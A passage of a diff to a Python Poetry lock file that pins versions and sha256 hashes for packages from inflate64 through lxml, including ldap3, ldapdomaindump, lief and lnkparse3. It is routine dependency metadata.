+ {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1749da3a02b53035cde1cf95f885e78e0c2c49b201e97d368b3ba97e0f3d42c3"},
+ {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17aaac096f40bd80dd72481831607a0846271d401ba3cd863386b8c244c7ebc1"},
+ {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4d807cfa9ddad940401ef04502eb367a77f569850f59c2e71670347d558a3830"},
+ {file = "inflate64-0.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b7aa123c740f2f9798f72873e50d7c6d43664d12cad7a1405296079987bdb04a"},
+ {file = "inflate64-0.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:91233b5300bbb7562804c3d07617e9ce2983e8434218991db98ef175491e417f"},
+ {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:525bc309d8533ef9917e006284996ee7a9a71ac6dd19fb57c0f741ad0c805d4f"},
+ {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90f95b92d0f672d11151cb964964d1723e2e3ce3a19d32d24aece1acdec1e287"},
+ {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:41504988023042452d2d84e4110c9ef4ff8ebd33cb90ba83e44b92c9a6753c43"},
+ {file = "inflate64-0.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3c270d373ca3717dbeb9b171eea53cbf2c9d7471b9b5de1e57f165e60cf58037"},
+ {file = "inflate64-0.3.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac60868745f7bfbcd615329fbdc35997fa36043ce358a1c64d229ef448ebecf0"},
+ {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d881b605b7448be451f02c59128dc5fac262dbd0dcff4638e702dc8c7bbb8ef0"},
+ {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd04764d0bb830414788cae897d082bf6ad92324e571a5511bd7e1de4a0cdc67"},
+ {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1987bbc482aa3e2e7fb72c70b22483cfaed3dbebc5ba6f9ac6f75240794709b"},
+ {file = "inflate64-0.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:4e7b0a598adaa11366ffbbb7b3d3110db29edd4b732d9336570891363b22b002"},
+ {file = "inflate64-0.3.1.tar.gz", hash = "sha256:b52dd8fefd2ba179e5dfa18d6eca7e2fc822584616271c039d5ef1f9ca90c71c"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8", "flake8-black", "flake8-deprecated", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine"]
+docs = ["docutils", "sphinx (>=5.0)"]
+test = ["pyannotate", "pytest"]
+
+[[package]]
+name = "iniconfig"
+version = "2.0.0"
+description = "brain-dead simple config-ini parsing"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"},
+ {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"},
+]
+
+[[package]]
+name = "itsdangerous"
+version = "2.1.2"
+description = "Safely pass data to untrusted environments and back."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "itsdangerous-2.1.2-py3-none-any.whl", hash = "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44"},
+ {file = "itsdangerous-2.1.2.tar.gz", hash = "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"},
+]
+
+[[package]]
+name = "jinja2"
+version = "3.1.2"
+description = "A very fast and expressive template engine."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"},
+ {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"},
+]
+
+[package.dependencies]
+MarkupSafe = ">=2.0"
+
+[package.extras]
+i18n = ["Babel (>=2.7)"]
+
+[[package]]
+name = "jmespath"
+version = "1.0.1"
+description = "JSON Matching Expressions"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"},
+ {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"},
+]
+
+[[package]]
+name = "joblib"
+version = "1.3.1"
+description = "Lightweight pipelining with Python functions"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "joblib-1.3.1-py3-none-any.whl", hash = "sha256:89cf0529520e01b3de7ac7b74a8102c90d16d54c64b5dd98cafcd14307fdf915"},
+ {file = "joblib-1.3.1.tar.gz", hash = "sha256:1f937906df65329ba98013dc9692fe22a4c5e4a648112de500508b18a21b41e3"},
+]
+
+[[package]]
+name = "jsonlines"
+version = "3.1.0"
+description = "Library with helpers for the jsonlines file format"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "jsonlines-3.1.0-py3-none-any.whl", hash = "sha256:632f5e38f93dfcb1ac8c4e09780b92af3a55f38f26e7c47ae85109d420b6ad39"},
+ {file = "jsonlines-3.1.0.tar.gz", hash = "sha256:2579cb488d96f815b0eb81629e3e6b0332da0962a18fa3532958f7ba14a5c37f"},
+]
+
+[package.dependencies]
+attrs = ">=19.2.0"
+
+[[package]]
+name = "ldap3"
+version = "2.9.1"
+description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library"
+optional = false
+python-versions = "*"
+files = [
+ {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"},
+ {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"},
+]
+
+[package.dependencies]
+pyasn1 = ">=0.4.6"
+
+[[package]]
+name = "ldapdomaindump"
+version = "0.9.4"
+description = "Active Directory information dumper via LDAP"
+optional = false
+python-versions = "*"
+files = [
+ {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"},
+ {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"},
+ {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"},
+]
+
+[package.dependencies]
+dnspython = "*"
+future = "*"
+ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
+
+[[package]]
+name = "lief"
+version = "0.12.3"
+description = "Library to instrument executable formats"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "lief-0.12.3-cp310-cp310-macosx_10_14_arm64.whl", hash = "sha256:66724f337e6a36cea1a9380f13b59923f276c49ca837becae2e7be93a2e245d9"},
+ {file = "lief-0.12.3-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:6d18aafa2028587c98f6d4387bec94346e92f2b5a8a5002f70b1cf35b1c045cc"},
+ {file = "lief-0.12.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f69d125caaa8d5ddb574f29cc83101e165ebea1a9f18ad042eb3544081a797"},
+ {file = "lief-0.12.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c078d6230279ffd3bca717c79664fb8368666f610b577deb24b374607936e9c1"},
+ {file = "lief-0.12.3-cp310-cp310-win32.whl", hash = "sha256:e3a6af926532d0aac9e7501946134513d63217bacba666e6f7f5a0b7e15ba236"},
+ {file = "lief-0.12.3-cp310-cp310-win_amd64.whl", hash = "sha256:0750b72e3aa161e1fb0e2e7f571121ae05d2428aafd742ff05a7656ad2288447"},
+ {file = "lief-0.12.3-cp311-cp311-macosx_10_14_arm64.whl", hash = "sha256:b5c123cb99a7879d754c059e299198b34e7e30e3b64cf22e8962013db0099f47"},
+ {file = "lief-0.12.3-cp311-cp311-macosx_10_14_x86_64.whl", hash = "sha256:8bc58fa26a830df6178e36f112cb2bbdd65deff593f066d2d51434ff78386ba5"},
+ {file = "lief-0.12.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:74ac6143ac6ccd813c9b068d9c5f1f9d55c8813c8b407387eb57de01c3db2d74"},
+ {file = "lief-0.12.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:04eb6b70d646fb5bd6183575928ee23715550f161f2832cbcd8c6ff2071fb408"},
+ {file = "lief-0.12.3-cp311-cp311-win32.whl", hash = "sha256:7e2d0a53c403769b04adcf8df92e83c5e25f9103a052aa7f17b0a9cf057735fb"},
+ {file = "lief-0.12.3-cp311-cp311-win_amd64.whl", hash = "sha256:7f6395c12ee1bc4a5162f567cba96d0c72dfb660e7902e84d4f3029daf14fe33"},
+ {file = "lief-0.12.3-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:71327fdc764fd2b1f3cd371d8ac5e0b801bde32b71cfcf7dccee506d46768539"},
+ {file = "lief-0.12.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d320fb80ed5b42b354b8e4f251ab05a51929c162c57c377b5e95ad4b1c1b415d"},
+ {file = "lief-0.12.3-cp36-cp36m-win32.whl", hash = "sha256:176fa6c342dd480195cda34a20f62ac76dfae103b22ca7583b762e0b434ee1f3"},
+ {file = "lief-0.12.3-cp36-cp36m-win_amd64.whl", hash = "sha256:3a18fe108fb82a2640864deef933731afe77413b1226551796ef2c373a1b3a2a"},
+ {file = "lief-0.12.3-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:c73e990cd2737d1060b8c1e8edcc128832806995b69d1d6bf191409e2cea7bde"},
+ {file = "lief-0.12.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:5fa2b1c8ffe47ee66b2507c2bb4e3fd628965532b7888c0627d10e690b5ef20c"},
+ {file = "lief-0.12.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f224e9a261e88099f86160f121d088d30894c2946e3e551cf11c678daadcf2b"},
+ {file = "lief-0.12.3-cp37-cp37m-win32.whl", hash = "sha256:3481d7c9fb3d3a1acff53851f40efd1a5a05d354312d367294bc2e310b736826"},
+ {file = "lief-0.12.3-cp37-cp37m-win_amd64.whl", hash = "sha256:4e5173e1be5ebf43594f4eb187cbcb04758761942bc0a1e685ea1cb9047dc0d9"},
+ {file = "lief-0.12.3-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:54d6a45e01260b9c8bf1c99f58257cff5338aee5c02eacfeee789f9d15cf38c6"},
+ {file = "lief-0.12.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:4501dc399fb15dc7a3c8df4a76264a86be6d581d99098dafc3a67626149d8ff1"},
+ {file = "lief-0.12.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c848aadac0816268aeb9dde7cefdb54bf24f78e664a19e97e74c92d3be1bb147"},
+ {file = "lief-0.12.3-cp38-cp38-win32.whl", hash = "sha256:d7e35f9ee9dd6e79add3b343f83659b71c05189e5cb224e02a1902ddc7654e96"},
+ {file = "lief-0.12.3-cp38-cp38-win_amd64.whl", hash = "sha256:b00667257b43e93d94166c959055b6147d46d302598f3ee55c194b40414c89cc"},
+ {file = "lief-0.12.3-cp39-cp39-macosx_10_14_arm64.whl", hash = "sha256:e6a1b5b389090d524621c2455795e1262f62dc9381bedd96f0cd72b878c4066d"},
+ {file = "lief-0.12.3-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:ae773196df814202c0c51056163a1478941b299512b09660a3c37be3c7fac81e"},
+ {file = "lief-0.12.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:66ddf88917ec7b00752687c476bb2771dc8ec19bd7e4c0dcff1f8ef774cad4e9"},
+ {file = "lief-0.12.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:4a47f410032c63ac3be051d963d0337d6b47f0e94bfe8e946ab4b6c428f4d0f8"},
+ {file = "lief-0.12.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbd11367c2259bd1131a6c8755dcde33314324de5ea029227bfbc7d3755871e6"},
+ {file = "lief-0.12.3-cp39-cp39-win32.whl", hash = "sha256:2ce53e311918c3e5b54c815ef420a747208d2a88200c41cd476f3dd1eb876bcf"},
+ {file = "lief-0.12.3-cp39-cp39-win_amd64.whl", hash = "sha256:446e53ccf0ebd1616c5d573470662ff71ca6df3cd62ec1764e303764f3f03cca"},
+ {file = "lief-0.12.3.zip", hash = "sha256:62e81d2f1a827d43152aed12446a604627e8833493a51dca027026eed0ce7128"},
+]
+
+[[package]]
+name = "lnkparse3"
+version = "1.2.0"
+description = "Windows Shortcut file (LNK) parser"
+optional = false
+python-versions = "*"
+files = [
+ {file = "LnkParse3-1.2.0-py3-none-any.whl", hash = "sha256:b97f9a3dfffa62ecbd5f1f6561d8b5b75b0045241482b4a980657d5aac696ee3"},
+ {file = "LnkParse3-1.2.0.tar.gz", hash = "sha256:102b2aba6c2896127cb719f814a8579210368f9277fd5ec0d0151fe070166e1d"},
+]
+
+[[package]]
+name = "lxml"
+version = "4.9.3"
+description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*"
+files = [
+ {file = "lxml-4.9.3-cp27-cp27m-macosx_11_0_x86_64.whl", hash = "sha256:b0a545b46b526d418eb91754565ba5b63b1c0b12f9bd2f808c852d9b4b2f9b5c"},
+ {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075b731ddd9e7f68ad24c635374211376aa05a281673ede86cbe1d1b3455279d"},
+ {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1e224d5755dba2f4a9498e150c43792392ac9b5380aa1b845f98a1618c94eeef"},
+ {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0781a98ff5e6586926293e59480b64ddd46282953203c76ae15dbbbf302e8bb"},
+ {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:cef2502e7e8a96fe5ad686d60b49e1ab03e438bd9123987994528febd569868e"},
+ {file = "lxml-4.9.3-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b86164d2cff4d3aaa1f04a14685cbc072efd0b4f99ca5708b2ad1b9b5988a991"},
+ {file = "lxml-4.9.3-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:42871176e7896d5d45138f6d28751053c711ed4d48d8e30b498da155af39aebd"},
+ {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:411007c0d88188d9f621b11d252cce90c4a2d1a49db6c068e3c16422f306eab8"},
+ {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:cd47b4a0d41d2afa3e58e5bf1f62069255aa2fd6ff5ee41604418ca925911d76"},
+ {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0e2cb47860da1f7e9a5256254b74ae331687b9672dfa780eed355c4c9c3dbd23"},
+ {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1247694b26342a7bf47c02e513d32225ededd18045264d40758abeb3c838a51f"},
+ {file = "lxml-4.9.3-cp310-cp310-win32.whl", hash = "sha256:cdb650fc86227eba20de1a29d4b2c1bfe139dc75a0669270033cb2ea3d391b85"},
+ {file = "lxml-4.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:97047f0d25cd4bcae81f9ec9dc290ca3e15927c192df17331b53bebe0e3ff96d"},
+ {file = "lxml-4.9.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:1f447ea5429b54f9582d4b955f5f1985f278ce5cf169f72eea8afd9502973dd5"},
+ {file = "lxml-4.9.3-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:57d6ba0ca2b0c462f339640d22882acc711de224d769edf29962b09f77129cbf"},
+ {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:71c52db65e4b56b8ddc5bb89fb2e66c558ed9d1a74a45ceb7dcb20c191c3df2f"},
+ {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d73d8ecf8ecf10a3bd007f2192725a34bd62898e8da27eb9d32a58084f93962b"},
+ {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0a3d3487f07c1d7f150894c238299934a2a074ef590b583103a45002035be120"},
+ {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e28c51fa0ce5674be9f560c6761c1b441631901993f76700b1b30ca6c8378d6"},
+ {file = "lxml-4.9.3-cp311-cp311-win32.whl", hash = "sha256:0bfd0767c5c1de2551a120673b72e5d4b628737cb05414f03c3277bf9bed3305"},
+ {file = "lxml-4.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:25f32acefac14ef7bd53e4218fe93b804ef6f6b92ffdb4322bb6d49d94cad2bc"},
+ {file = "lxml-4.9.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:d3ff32724f98fbbbfa9f49d82852b159e9784d6094983d9a8b7f2ddaebb063d4"},
+ {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:48d6ed886b343d11493129e019da91d4039826794a3e3027321c56d9e71505be"},
+ {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9a92d3faef50658dd2c5470af249985782bf754c4e18e15afb67d3ab06233f13"},
+ {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b4e4bc18382088514ebde9328da057775055940a1f2e18f6ad2d78aa0f3ec5b9"},
+ {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fc9b106a1bf918db68619fdcd6d5ad4f972fdd19c01d19bdb6bf63f3589a9ec5"},
+ {file = "lxml-4.9.3-cp312-cp312-win_amd64.whl", hash = "sha256:d37017287a7adb6ab77e1c5bee9bcf9660f90ff445042b790402a654d2ad81d8"},
+ {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:56dc1f1ebccc656d1b3ed288f11e27172a01503fc016bcabdcbc0978b19352b7"},
+ {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:578695735c5a3f51569810dfebd05dd6f888147a34f0f98d4bb27e92b76e05c2"},
+ {file = "lxml-4.9.3-cp35-cp35m-win32.whl", hash = "sha256:704f61ba8c1283c71b16135caf697557f5ecf3e74d9e453233e4771d68a1f42d"},
+ {file = "lxml-4.9.3-cp35-cp35m-win_amd64.whl", hash = "sha256:c41bfca0bd3532d53d16fd34d20806d5c2b1ace22a2f2e4c0008570bf2c58833"},
+ {file = "lxml-4.9.3-cp36-cp36m-macosx_11_0_x86_64.whl", hash = "sha256:64f479d719dc9f4c813ad9bb6b28f8390360660b73b2e4beb4cb0ae7104f1c12"},
+ {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:dd708cf4ee4408cf46a48b108fb9427bfa00b9b85812a9262b5c668af2533ea5"},
+ {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c31c7462abdf8f2ac0577d9f05279727e698f97ecbb02f17939ea99ae8daa98"},
+ {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:4930be26af26ac545c3dffb662521d4e6268352866956672231887d18f0eaab2"},
+ {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4aec80cde9197340bc353d2768e2a75f5f60bacda2bab72ab1dc499589b3878c"},
+ {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:14e019fd83b831b2e61baed40cab76222139926b1fb5ed0e79225bc0cae14584"},
+ {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0c0850c8b02c298d3c7006b23e98249515ac57430e16a166873fc47a5d549287"},
+ {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:aca086dc5f9ef98c512bac8efea4483eb84abbf926eaeedf7b91479feb092458"},
+ {file = "lxml-4.9.3-cp36-cp36m-win32.whl", hash = "sha256:50baa9c1c47efcaef189f31e3d00d697c6d4afda5c3cde0302d063492ff9b477"},
+ {file = "lxml-4.9.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bef4e656f7d98aaa3486d2627e7d2df1157d7e88e7efd43a65aa5dd4714916cf"},
+ {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:46f409a2d60f634fe550f7133ed30ad5321ae2e6630f13657fb9479506b00601"},
+ {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:4c28a9144688aef80d6ea666c809b4b0e50010a2aca784c97f5e6bf143d9f129"},
+ {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:53ace1c1fd5a74ef662f844a0413446c0629d151055340e9893da958a374f70d"},
+ {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17a753023436a18e27dd7769e798ce302963c236bc4114ceee5b25c18c52c693"},
+ {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7d298a1bd60c067ea75d9f684f5f3992c9d6766fadbc0bcedd39750bf344c2f4"},
+ {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:081d32421db5df44c41b7f08a334a090a545c54ba977e47fd7cc2deece78809a"},
+ {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:23eed6d7b1a3336ad92d8e39d4bfe09073c31bfe502f20ca5116b2a334f8ec02"},
+ {file = "lxml-4.9.3-cp37-cp37m-win32.whl", hash = "sha256:1509dd12b773c02acd154582088820893109f6ca27ef7291b003d0e81666109f"},
+ {file = "lxml-4.9.3-cp37-cp37m-win_amd64.whl", hash = "sha256:120fa9349a24c7043854c53cae8cec227e1f79195a7493e09e0c12e29f918e52"},
+ {file = "lxml-4.9.3-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4d2d1edbca80b510443f51afd8496be95529db04a509bc8faee49c7b0fb6d2cc"},
+ {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8d7e43bd40f65f7d97ad8ef5c9b1778943d02f04febef12def25f7583d19baac"},
+ {file = "lxml-4.9.3-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:6fc3c450eaa0b56f815c7b62f2b7fba7266c4779adcf1cece9e6deb1de7305ce"},
+ {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65299ea57d82fb91c7f019300d24050c4ddeb7c5a190e076b5f48a2b43d19c42"},
+ {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eadfbbbfb41b44034a4c757fd5d70baccd43296fb894dba0295606a7cf3124aa"},
+ {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3e9bdd30efde2b9ccfa9cb5768ba04fe71b018a25ea093379c857c9dad262c40"},
+ {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fcdd00edfd0a3001e0181eab3e63bd5c74ad3e67152c84f93f13769a40e073a7"},
+ {file = "lxml-4.9.3-cp38-cp38-win32.whl", hash = "sha256:57aba1bbdf450b726d58b2aea5fe47c7875f5afb2c4a23784ed78f19a0462574"},
+ {file = "lxml-4.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:92af161ecbdb2883c4593d5ed4815ea71b31fafd7fd05789b23100d081ecac96"},
+ {file = "lxml-4.9.3-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:9bb6ad405121241e99a86efff22d3ef469024ce22875a7ae045896ad23ba2340"},
+ {file = "lxml-4.9.3-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8ed74706b26ad100433da4b9d807eae371efaa266ffc3e9191ea436087a9d6a7"},
+ {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:303bf1edce6ced16bf67a18a1cf8339d0db79577eec5d9a6d4a80f0fb10aa2da"},
+ {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:5515edd2a6d1a5a70bfcdee23b42ec33425e405c5b351478ab7dc9347228f96e"},
+ {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:690dafd0b187ed38583a648076865d8c229661ed20e48f2335d68e2cf7dc829d"},
+ {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b6420a005548ad52154c8ceab4a1290ff78d757f9e5cbc68f8c77089acd3c432"},
+ {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bb3bb49c7a6ad9d981d734ef7c7193bc349ac338776a0360cc671eaee89bcf69"},
+ {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d27be7405547d1f958b60837dc4c1007da90b8b23f54ba1f8b728c78fdb19d50"},
+ {file = "lxml-4.9.3-cp39-cp39-win32.whl", hash = "sha256:8df133a2ea5e74eef5e8fc6f19b9e085f758768a16e9877a60aec455ed2609b2"},
+ {file = "lxml-4.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:4dd9a263e845a72eacb60d12401e37c616438ea2e5442885f65082c276dfb2b2"},
+ {file = "lxml-4.9.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6689a3d7fd13dc687e9102a27e98ef33730ac4fe37795d5036d18b4d527abd35"},
+ {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:f6bdac493b949141b733c5345b6ba8f87a226029cbabc7e9e121a413e49441e0"},
+ {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c2006f5c8d28dee289f7020f721354362fa304acbaaf9745751ac4006650254b"},
+ {file = "lxml-4.9.3-pp38-pypy38_pp73-macosx_11_0_x86_64.whl", hash = "sha256:5c245b783db29c4e4fbbbfc9c5a78be496c9fea25517f90606aa1f6b2b3d5f7b"},
+ {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4fb960a632a49f2f089d522f70496640fdf1218f1243889da3822e0a9f5f3ba7"},
+ {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9719fe17307a9e814580af1f5c6e05ca593b12fb7e44fe62450a5384dbf61b4b"},
+ {file = "lxml-4.9.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3331bece23c9ee066e0fb3f96c61322b9e0f54d775fccefff4c38ca488de283a"},
+ {file = "lxml-4.9.3-pp39-pypy39_pp73-macosx_11_0_x86_64.whl", hash = "sha256:ed667f49b11360951e201453fc3967344d0d0263aa415e1619e85ae7fd17b4e0"},
